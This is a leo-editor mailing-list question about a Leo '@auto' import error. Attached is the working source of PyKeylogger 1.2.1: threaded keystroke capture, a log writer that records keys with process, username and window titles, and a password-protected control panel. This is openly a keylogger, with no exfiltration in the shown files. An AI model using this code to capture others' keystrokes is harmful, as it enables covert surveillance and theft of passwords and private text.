Hi:
I am trying to import the (attached) python files which define 
pykeylogger<http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Main_Page>
 to 
begin with the Macro/Automation/Tutor project asap.

I do this by throwing each one individually into the Leo node I want.

- Leo throws the error "The following were not imported properly".
- The log says:

inserting @ignore

errors inhibited read @auto D:\Dropbox\LEO EDITOR\MY LEO 
FILES\LeoLearn\pykeylogger-1.2.1\make_all_dist.py


I search for the @ignore, and Leo is inserting this line at the end of the 
file on the main node of the file, the one which starts with 

@auto file_path


I compare the source files and cant find any code differences.

Is there something wrong or should I just ignore that error?

Thanks.



-- 
You received this message because you are subscribed to the Google Groups 
"leo-editor" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to [email protected].
To post to this group, send email to [email protected].
Visit this group at http://groups.google.com/group/leo-editor?hl=en-US.
For more options, visit https://groups.google.com/groups/opt_out.


##############################################################################
##
## PyKeylogger: Simple Python Keylogger for Windows
## Copyright (C) 2009  [email protected]
##
## http://pykeylogger.sourceforge.net/
##
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 3
## of the License, or (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program.  If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################

from threading import Thread, Event, RLock
from myutils import (_settings, _cmdoptions, OnDemandRotatingFileHandler,
    to_unicode)
from Queue import Queue, Empty
from timerthreads import *
import os
import os.path
import logging
import re


'''Event classes have two stages. The thinking is as follows.

The actual hooking routine needs to be /really/ fast, so as not to delay
user input. So it just shoves the event in a Queue and moves on. This
stage happens in the main keylogger class.

The first stage of processing the queue items needs to be /pretty/ fast,
because we need to grab various window attributes or screenshots etc.,
and this needs to happen expeditiously before windows disappear. We then
stick the processed events into another queue.

The second stage of processing can be slow. All it needs to do is
massage the info it receives, and then write it out to disk
in whatever format required.'''

__all__ = ['FirstStageBaseEventClass','SecondStageBaseEventClass']

class BaseEventClass(Thread):
    '''This is the base class for event-based threads.
    
    Event-based threads are ones that work off keyboard or mouse events.
    
    These classes are the main "logging" threads.
    Each one gets a Queue as an argument from which it pops off events,
    and a logger name argument which is where the logs go.
    '''
    def __init__(self, event_queue, loggername, *args, **kwargs):
        Thread.__init__(self)
        self.finished = Event()
        
        self.q = event_queue
        self.loggername = loggername
        self.args = args # arguments, if any, to pass to task_function
        self.kwargs = kwargs # keyword args, if any, to pass to task_function
        
        self.settings = _settings['settings']
        self.cmdoptions = _cmdoptions['cmdoptions']
        
        self.subsettings = self.settings[loggername]        
    
    def cancel(self):
        '''Stop the iteration'''
        self.finished.set()
        
    def run(self):
        while not self.finished.isSet():
            self.task_function(*self.args, **self.kwargs)
                
    def task_function(self): # to be overridden in derived classes.
        try:
            event = self.q.get(timeout=0.05)
            print event
        except Empty:
            pass #let's keep iterating
        except:
            self.logger.debug("some exception was caught in "
                "the logwriter loop...\nhere it is:\n", exc_info=True)
            pass #let's keep iterating


class FirstStageBaseEventClass(BaseEventClass):
    '''Adds system attributes to events from hook queue, and passes them on.
    
    These classes also serve as the "controller" classes. They create
    the logger, and spawn all the related timer-based threads for the logger.
    '''

    def __init__(self, *args, **kwargs):
        
        BaseEventClass.__init__(self, *args, **kwargs)
        
        self.dir_lock = RLock()
                
        self.create_loggers()
        self.spawn_timer_threads()
        self.spawn_second_stage_thread()
        
        # set the following in the derived class
        #self.task_function = self.your_working_function
    
    def create_log_directory(self, logdir):
        '''Make sure we have the directory where we want to log'''
        try:
            os.makedirs(logdir)
        except OSError, detail:
            if(detail.errno==17):  #if directory already exists, swallow the error
                pass
            else:
                self.logger.error("error creating log directory", 
                        exc_info=True)
        except:
            self.logger.error("error creating log directory", 
                        exc_info=True)

    def create_loggers(self):
        
        # configure the data logger
        self.logger = logging.getLogger(self.loggername)
        logdir = os.path.join(self.settings['General']['Log Directory'],
                            self.subsettings['General']['Log Subdirectory'])
        
        # Regexp filter for the non-allowed characters in windows filenames.
        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")
        self.subsettings['General']['Log Filename'] = \
           self.filter.sub(r'__',self.subsettings['General']['Log Filename'])
           
        logpath = os.path.join(logdir, 
                            self.subsettings['General']['Log Filename'])
                                
        self.create_log_directory(logdir)
        
        loghandler = OnDemandRotatingFileHandler(logpath)
        loghandler.setLevel(logging.INFO)
        logformatter = logging.Formatter('%(message)s')
        loghandler.setFormatter(logformatter)
        self.logger.addHandler(loghandler)
    
    def spawn_timer_threads(self):
        self.timer_threads = {}
        for section in self.subsettings.sections:
            if section != 'General':
                try:
                    self.logger.debug('Creating thread %s' % section)
                    self.timer_threads[section] = \
                        eval(self.subsettings[section]['_Thread_Class'] + \
                        '(self.dir_lock, self.loggername)')
                except KeyError:
                    self.logger.debug('Error creating thread %s' % section,
                                exc_info=True)
                    pass # this is not a thread to be started.
    
    def spawn_second_stage_thread(self): # override in derived class
        self.sst_q = Queue(0)
        self.sst = SecondStageBaseEventClass(self.dir_lock, self.sst_q, self.loggername)
        
    def run(self):
        for key in self.timer_threads.keys():
            if self.subsettings[key]['Enable ' + key]:
                self.logger.debug('Starting thread %s: %s' % \
                        (key, self.timer_threads[key]))
                self.timer_threads[key].start()
            else:
                self.logger.debug('Not starting thread %s: %s' % \
                        (key, self.timer_threads[key]))
        self.sst.start()
        BaseEventClass.run(self)
            
    def cancel(self):
        for key in self.timer_threads.keys():
            self.timer_threads[key].cancel()
        self.sst.cancel()
        BaseEventClass.cancel(self)
        

class SecondStageBaseEventClass(BaseEventClass):
    '''Takes events from queue and writes to disk.
    
    The queue in question is the "secondary" queue passed in from
    the first stage class.
    '''
    
    def __init__(self, dir_lock, *args, **kwargs):
        
        BaseEventClass.__init__(self, *args, **kwargs)
        
        self.dir_lock = dir_lock
        self.logger = logging.getLogger(self.loggername)
        
        # set the following in the derived class
        #self.task_function = self.your_working_function

# some testing code
if __name__ == '__main__':
    from configobj import ConfigObj
    import time
    
    _settings['settings'] = ConfigObj( \
        {'General': \
            {'Log Directory': 'logs'},
            
        'TestLogger': {'General': \
            {'Log Subdirectory': 'testlog',
            'Log Filename':'testlog.txt',
            }}} )
            
            
    _cmdoptions['cmdoptions'] = {}
    q = Queue(0)
    for i in range(10):
        q.put('test %d' % i)
    loggername = 'TestLogger'
    fsbec = FirstStageBaseEventClass(q, loggername)
    fsbec.start()
    time.sleep(1)
    fsbec.cancel()
##############################################################################
##
## PyKeylogger: Simple Python Keylogger for Windows
## Copyright (C) 2009  [email protected]
##
## http://pykeylogger.sourceforge.net/
##
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 3
## of the License, or (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program.  If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################

from Tkinter import *
import tkSimpleDialog
import tkMessageBox
import Pmw
from configobj import ConfigObj, flatten_errors
from validate import Validator
import myutils
import webbrowser
from supportscreen import SupportScreen
from supportscreen import AboutDialog
import sys
import version
import os.path
import re
from myutils import _settings, _cmdoptions, _mainapp


class PyKeyloggerControlPanel:
    def __init__(self):
        self.mainapp=_mainapp['mainapp']
        self.panelsettings=ConfigObj(_cmdoptions['cmdoptions'].configfile, 
                configspec=_cmdoptions['cmdoptions'].configval, 
                list_values=False)

        self.root = Pmw.initialise(fontScheme='pmw2')
        self.root.withdraw()
        
        # call the password authentication widget
        # if password matches, then create the main panel
        password_correct = self.password_dialog()
        if password_correct:
            self.root.deiconify()
            self.initialize_main_panel()
            self.root.mainloop()
        else:
            self.close()
    
    def password_dialog(self):
        mypassword = tkSimpleDialog.askstring("Enter Password", 
                                                "Password:", show="*")
        if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
            if mypassword != None:
                tkMessageBox.showerror("Incorrect Password", 
                                        "Incorrect Password")
            return False
        else:
            return True
            
    def close(self):
        self.mainapp.panel = False
        self.root.destroy()
        
    def callback(self):
        tkMessageBox.showwarning(title="Not Implemented", 
                    message="This feature has not yet been implemented")
    
    def initiate_timer_action(self, loggername, actionname):
        self.mainapp.event_threads[loggername].timer_threads[actionname].task_function()
            
    def initialize_main_panel(self):
        #create the main panel window
        #root = Tk()
        #root.title("PyKeylogger Control Panel")
        # create a menu

        self.root.title("PyKeylogger Control Panel")
        self.root.config(height=200, width=200)
        
        self.root.protocol("WM_DELETE_WINDOW", self.close)
        
        # Display the version in main window
        g = Pmw.Group(self.root, tag_pyclass = None)
        g.pack(fill = 'both', expand = 1, padx = 6, pady = 6)
        textlabel = Label(g.interior(), 
                    text="PyKeylogger " + str(version.version),
                    font=("Helvetica", 18))
        textlabel.pack(padx = 2, pady = 2, expand='yes', fill='both')
        
        # Pretty logo display
        photo = PhotoImage(file=os.path.join(myutils.get_main_dir(), 
                                    version.name + "icon_big.gif"))
        imagelabel = Label(self.root, image=photo, height=160, width=200)
        imagelabel.photo = photo
        imagelabel.pack()
        
        # Create and pack the MessageBar.
        self.message_bar = Pmw.MessageBar(self.root,
                entry_width = 50,
                entry_relief='groove',
                labelpos = 'w',
                label_text = 'Status:')
        self.message_bar.pack(fill = 'x', padx = 10, pady = 10)
        self.message_bar.message('state',
            'Please explore the menus.')
        
        # Create main menu
        menu = MainMenu(self.root, self.panelsettings, self)


class MainMenu:
    def __init__(self, parent, settings, controlpanel):
        self.balloon = Pmw.Balloon(parent)
        self.menubar = Pmw.MainMenuBar(parent, balloon=self.balloon)
        parent.configure(menu = self.menubar)
        
        ### Actions menu
        self.menubar.addmenu('Actions','Actions you can take')
        sections = settings.sections
        for section in sections:
            if section == 'General':
                continue
            self.menubar.addcascademenu('Actions', 
                                section + ' Actions', 
                                'Actions for %s' % section, 
                                traverseSpec='z', 
                                tearoff = 0)
            subsections = settings[section].sections
            for subsection in subsections:
                if subsection == 'General':
                    continue
                self.menubar.addmenuitem(section + ' Actions', 
                                'command',
                                'Trigger %s' % subsection, 
                                command = Command(controlpanel.initiate_timer_action,
                                        section, 
                                        subsection),
                                label = 'Trigger %s' % subsection)
        
        self.menubar.addmenuitem('Actions', 'separator')
        self.menubar.addmenuitem('Actions', 'command',
                'Close control panel, without stopping keylogger',
                command = controlpanel.close,
                label='Close Control Panel')
        self.menubar.addmenuitem('Actions', 'command',
                'Quit PyKeylogger',
                command = controlpanel.mainapp.stop,
                label='Quit PyKeylogger')
                
        ### Configuration menu
        self.menubar.addmenu('Configuration','Configure PyKeylogger')
        sections = settings.sections
        for section in sections:
            self.menubar.addmenuitem('Configuration', 'command',
                    section + ' settings', 
                    command = Command(ConfigPanel, parent, section),
                    label = section + ' Settings')
        
        ## don't need the following, since we are using the pmw.notebook
        #for section in sections:
            #if section == 'General':
                #self.menubar.addmenuitem('Configuration', 'command',
                        #section + ' settings', 
                        #command = controlpanel.callback,
                        #label = section + ' Settings')
                #continue
            #self.menubar.addcascademenu('Configuration', 
                    #'%s Settings' % section, 
                    #'%s Settings' % section, 
                    #traverseSpec='z', 
                    #tearoff = 0)
            #subsections = settings[section].sections
            #for subsection in subsections:
                #self.menubar.addmenuitem('%s Settings' % section, 'command',
                        #'%s Settings for %s' % (subsection, section),
                        #command = controlpanel.callback,
                        #label = '%s Settings' % subsection)
        
        ### Help menu
        self.menubar.addmenu('Help','Help and documentation', name='help')
        self.menubar.addmenuitem('Help','command',
                'User manual (opens in web browser)',
                command=Command(webbrowser.open, "http://pykeylogger.wiki.";
                            "sourceforge.net/Usage_Instructions"),
                label='User manual')
        self.menubar.addmenuitem('Help','command',
                'About PyKeylogger',
                command=Command(AboutDialog, parent, 
                            title="About PyKeylogger"),
                label='About')
        self.menubar.addmenuitem('Help','command',
                'Request for your financial support',
                command=Command(SupportScreen, parent, 
                            title="Please Support PyKeylogger"),
                label='Support PyKeylogger!')
        
        # Configure the balloon to displays its status messages in the
        # message bar.
        self.balloon.configure(statuscommand = \
                        controlpanel.message_bar.helpmessage)


class ConfigPanel():
    def __init__(self, parent, section):
        self.section=section
        self.settings = self.read_settings()
        self.changes_flag = False
        self.dialog = Pmw.Dialog(parent, 
                    buttons = ('OK', 'Apply', 'Cancel'),
                    defaultbutton = 'OK',
                    title = section + ' Settings',
                    command = self.execute)
        
        self.dialog.bind('<Escape>', self.cancel)
        
        self.balloon = Pmw.Balloon(self.dialog.interior(),
                        label_wraplength=400)
        
        notebook = Pmw.NoteBook(self.dialog.interior())
        notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
        
        self.entrydict = {section: {}}
        
        if section == 'General':
            subsections = ['General',]
            subsettings = self.settings
        else:
            subsettings = self.settings[section]
            subsections = subsettings.sections
        for subsection in subsections:
            page = notebook.add(subsection)
            subsubsettings = subsettings[subsection]
            self.entrydict[section].update({subsection:{}})
            for itemname, itemvalue in subsubsettings.items():
                if not itemname.startswith('_'):
                    if not itemname.endswith('Tooltip'):
                        entry = Pmw.EntryField(page, 
                                labelpos = 'w',
                                label_text = '%s:' % itemname,
                                validate = None,
                                command = None)
                        if itemname.find("Password") == -1:
                            entry.setvalue(itemvalue)
                        else:
                            entry.setvalue(myutils.password_recover(itemvalue))
                        entry.pack(fill='x', expand=1, padx=10, pady=5)
                        self.balloon.bind(entry, 
                                subsubsettings[itemname + ' Tooltip'].replace('\\n','\n'))
                        self.entrydict[section][subsection].update({itemname: entry})
                        
        
        if len(self.entrydict.keys()) == 1 and \
                    self.entrydict.keys()[0] == 'General':
            self.entrydict = self.entrydict['General']
                
        notebook.setnaturalsize()
    
    def read_settings(self):
        '''Get a fresh copy of the settings from file.'''
        settings = ConfigObj(_cmdoptions['cmdoptions'].configfile, 
                configspec=_cmdoptions['cmdoptions'].configval, 
                list_values=False)
        return settings
    
    def cancel(self, event):
        self.execute('Cancel')
    
    def execute(self, button):
        #print 'You clicked on', result
        if button in ('OK','Apply'):
            validation_passed = self.validate()
            if validation_passed:
                self.apply()
                self.changes_flag = True
        if button not in ('Apply',):
            if self.changes_flag:
                tkMessageBox.showinfo("Restart PyKeylogger", 
                        "You must restart PyKeylogger for "
                        "the new settings to take effect.", 
                        parent=self.dialog.interior())
                self.dialog.destroy()
            else:
                if button not in ('Apply','OK'):
                    self.dialog.destroy()

    def validate(self):
                
        #def walk_nested_dict(d):
            #for key1, value1 in d.items():
                #if isinstance(value1, dict):
                    #for key2, value2 in walk_nested_dict(value1):
                        #yield [key1, key2], value2
                #else:
                    #yield [key1,], value1
        
        for key1, value1 in self.entrydict.items():
            if not isinstance(value1, dict): # shouldn't happen
                if key1.find('Password') == -1:
                    self.settings[key1] = value1.getvalue()
                else:
                    self.settings[key1] = myutils.password_obfuscate(value1.getvalue())
            else:
                for key2, value2 in value1.items():
                    if not isinstance(value2, dict):
                        if key2.find('Password') == -1:
                            self.settings[key1][key2] = value2.getvalue()
                        else:
                            self.settings[key1][key2] = myutils.password_obfuscate(value2.getvalue())
                    else:
                        for key3, value3 in value2.items():
                            if not isinstance(value3, dict):
                                if key3.find('Password') == -1:
                                    self.settings[key1][key2][key3] = value3.getvalue()
                                else:
                                    self.settings[key1][key2][key3] = myutils.password_obfuscate(value3.getvalue())
                            else:
                                pass # shouldn't happen
                
        errortext=["Some of your input contains errors. "
                    "Detailed error output below.",]
        
        val = Validator()
        val.functions['log_filename_check'] = myutils.validate_log_filename
        val.functions['image_filename_check'] = myutils.validate_image_filename
        valresult=self.settings.validate(val, preserve_errors=True)
        if valresult != True:
            for section_list, key, error in flatten_errors(self.settings, 
                                                                valresult):
                if key is not None:
                    section_list.append(key)
                else:
                    section_list.append('[missing section]')
                section_string = ','.join(section_list)
                if error == False:
                    error = 'Missing value or section.'
                errortext.append('%s: %s' % (section_string, error))
            tkMessageBox.showerror("Erroneous input. Please try again.", 
                        '\n\n'.join(errortext), parent=self.dialog.interior())
            self.settings = self.read_settings()
            return False
        else:
            return True
    
    def apply(self):
        '''This is where we write out the modified config file to disk.''' 
        self.settings.write()
        

    
class Command:
    ''' A class we can use to avoid using the tricky "Lambda" expression.
    "Python and Tkinter Programming" by John Grayson, introduces this
    idiom.
    
    Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
    for this tip.'''

    def __init__(self, func, *args, **kwargs):
        self.func = func
        self.args = args
        self.kwargs = kwargs

    def __call__(self):
        apply(self.func, self.args, self.kwargs)


if __name__ == '__main__':
    # some simple testing code
    
    class BlankKeylogger:
        def stop(self):
            sys.exit()
        def __init__(self):
            pass
    
    class BlankOptions:
        def __init__(self):
            self.configfile=version.name + ".ini"
            self.configval=version.name + ".val"
    
    klobject=BlankKeylogger()
    cmdoptions=BlankOptions()
    _cmdoptions = {'cmdoptions':cmdoptions}
    _mainapp = {'mainapp':klobject}
    myapp = PyKeyloggerControlPanel()
##############################################################################
##
## PyKeylogger: Simple Python Keylogger for Windows
## Copyright (C) 2009  [email protected]
##
## http://pykeylogger.sourceforge.net/
##
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 3
## of the License, or (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program.  If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################

from myutils import (_settings, _cmdoptions, OnDemandRotatingFileHandler,
    to_unicode)
from Queue import Queue, Empty
import os
import os.path
import logging
import time
import re

if os.name == 'posix':
    pass
elif os.name == 'nt':
    import win32api, win32con, win32process
else:
    print "OS is not recognised as windows or linux"
    sys.exit()

from baseeventclasses import *
    
class DetailedLogWriterFirstStage(FirstStageBaseEventClass):
    '''Standard detailed log writer, first stage.
    
    Grabs keyboard events, finds the process name and username, then 
    passes the event on to the second stage.
    '''
    
    def __init__(self, *args, **kwargs):
        
        FirstStageBaseEventClass.__init__(self, *args, **kwargs)
        
        self.task_function = self.process_event
            
    def process_event(self):
        try:
            event = self.q.get(timeout=0.05) #need the timeout so that thread terminates properly when exiting
            if not event.MessageName.startswith('key down'):
                self.logger.debug('not a useful event')
                return
            process_name = self.get_process_name(event)
            loggable = self.needs_logging(event, process_name)  # see if the program is in the no-log list.
            if not loggable:
                self.logger.debug("not loggable, we are outta here\n")
                return
            self.logger.debug("loggable, lets log it. key: %s" % \
                to_unicode(event.Key))
            
            username = self.get_username()
            
            self.sst_q.put((process_name, username, event))
            
        except Empty:
            pass #let's keep iterating
        except:
            self.logger.debug("some exception was caught in "
                "the logwriter loop...\nhere it is:\n", exc_info=True)
            pass #let's keep iterating
    
    def needs_logging(self, event, process_name):
        '''This function returns False if the process name associated with an event
        is listed in the noLog option, and True otherwise.'''
        
        if self.subsettings['General']['Applications Not Logged'] != 'None':
            for path in self.subsettings['General']['Applications Not Logged'].split(';'):
                if os.path.exists(path) and os.stat(path) == os.stat(process_name):  #we use os.stat instead of comparing strings due to multiple possible representations of a path
                    return False
        return True

    def get_process_name(self, event):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        if os.name == 'nt':
            hwnd = event.Window
            try:
                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
                
                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
                
                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
                return procname
            except:
                # this happens frequently enough - when the last event caused the closure of the window or program
                # so we just return a nice string and don't worry about it.
                return "noprocname"
        elif os.name == 'posix':
            return to_unicode(event.WindowProcName)
            
    def get_username(self):
        '''Try a few different environment vars to get the username.'''
        username = None
        for varname in ['USERNAME','USER','LOGNAME']:
            username = os.getenv(varname)
            if username is not None:
                break
        if username is None:
            username = 'none'
        return username

    def spawn_second_stage_thread(self): 
        self.sst_q = Queue(0)
        self.sst = DetailedLogWriterSecondStage(self.dir_lock, 
                                                self.sst_q, self.loggername)

class DetailedLogWriterSecondStage(SecondStageBaseEventClass):
    def __init__(self, dir_lock, *args, **kwargs):
        SecondStageBaseEventClass.__init__(self, dir_lock, *args, **kwargs)
        
        self.task_function = self.process_event
        
        self.eventlist = range(7) #initialize our eventlist to something.
        
        if self.subsettings['General']['Log Key Count'] == True:
            self.eventlist.append(7)
        
        self.logger = logging.getLogger(self.loggername)
        
        # for brevity
        self.field_sep = \
            self.subsettings['General']['Log File Field Separator']
            
    def process_event(self):
        try:
            (process_name, username, event) = self.q.get(timeout=0.05) #need the timeout so that thread terminates properly when exiting
            
            eventlisttmp = [to_unicode(time.strftime('%Y%m%d')), # date
                to_unicode(time.strftime('%H%M')), # time
                to_unicode(process_name).replace(self.field_sep,
                    '[sep_key]'), # process name (full path on windows, just name on linux)
                to_unicode(event.Window), # window handle
                to_unicode(username).replace(self.field_sep, 
                    '[sep_key]'), # username
                to_unicode(event.WindowName).replace(self.field_sep, 
                    '[sep_key]')] # window title
                            
            if self.subsettings['General']['Log Key Count'] == True:
                eventlisttmp.append('1')
            eventlisttmp.append(to_unicode(self.parse_event_value(event)))
                
            if (self.eventlist[:6] == eventlisttmp[:6]) and \
                (self.subsettings['General']['Limit Keylog Field Size'] == 0 or \
                (len(self.eventlist[-1]) + len(eventlisttmp[-1])) < self.settings['General']['Limit Keylog Field Size']):
                
                #append char to log
                self.eventlist[-1] = self.eventlist[-1] + eventlisttmp[-1]
                # increase stroke count
                if self.subsettings['General']['Log Key Count'] == True:
                    self.eventlist[-2] = str(int(self.eventlist[-2]) + 1)
            else:
                self.write_to_logfile()
                self.eventlist = eventlisttmp
        except Empty:
            # check if the minute has rolled over, if so, write it out
            if self.eventlist[:2] != range(2) and \
                self.eventlist[:2] != [to_unicode(time.strftime('%Y%m%d')), 
                to_unicode(time.strftime('%H%M'))]:
                self.write_to_logfile()
                self.eventlist = range(7) # blank it out after writing
            
        except:
            self.logger.debug("some exception was caught in the "
                "logwriter loop...\nhere it is:\n", exc_info=True)
            pass #let's keep iterating

    def parse_event_value(self, event):
        '''Pass the event ascii value through the requisite filters.
        Returns the result as a string.
        '''
        npchrstr = self.subsettings['General']['Non-printing Character Representation']
        npchrstr = re.sub('%keyname%', event.Key, npchrstr)
        npchrstr = re.sub('%scancode%', str(event.ScanCode), npchrstr)
        npchrstr = re.sub('%vkcode%', str(event.KeyID), npchrstr)
        
        if chr(event.Ascii) == self.field_sep:
            return(npchrstr)
        
        #translate backspace into text string, if option is set.
        if event.Ascii == 8 and \
                self.subsettings['General']['Parse Backspace'] == True:
            return(npchrstr)
        
        #translate escape into text string, if option is set.
        if event.Ascii == 27 and \
                self.subsettings['General']['Parse Escape'] == True:
            return(npchrstr)

        # need to parse the returns, so as not to break up the data lines
        if event.Ascii == 13:
            return(npchrstr)
            
        # We translate all the special keys, such as arrows, backspace, 
        # into text strings for logging.
        # Exclude shift and capslock keys, because they are already 
        # represented  (as capital letters/symbols).
        if event.Ascii == 0 and \
                not (str(event.Key).endswith('shift') or \
                str(event.Key).endswith('Capital')):
            return(npchrstr)
        
        return(chr(event.Ascii))

    def write_to_logfile(self):
        '''Write the latest eventlist to logfile in one delimited line.
        '''
        
        if self.eventlist[:7] != range(7):
            try:
                line = to_unicode(self.field_sep).join(self.eventlist)
                self.logger.info(line)
            except:
                self.logger.debug(to_unicode(self.eventlist), 
                    exc_info=True)
                pass # keep going, even though this doesn't get logged...

    def cancel(self):
        '''Override this to make sure to write any remaining info to log.'''
        self.write_to_logfile()
        SecondStageBaseEventClass.cancel(self)

Reply via email to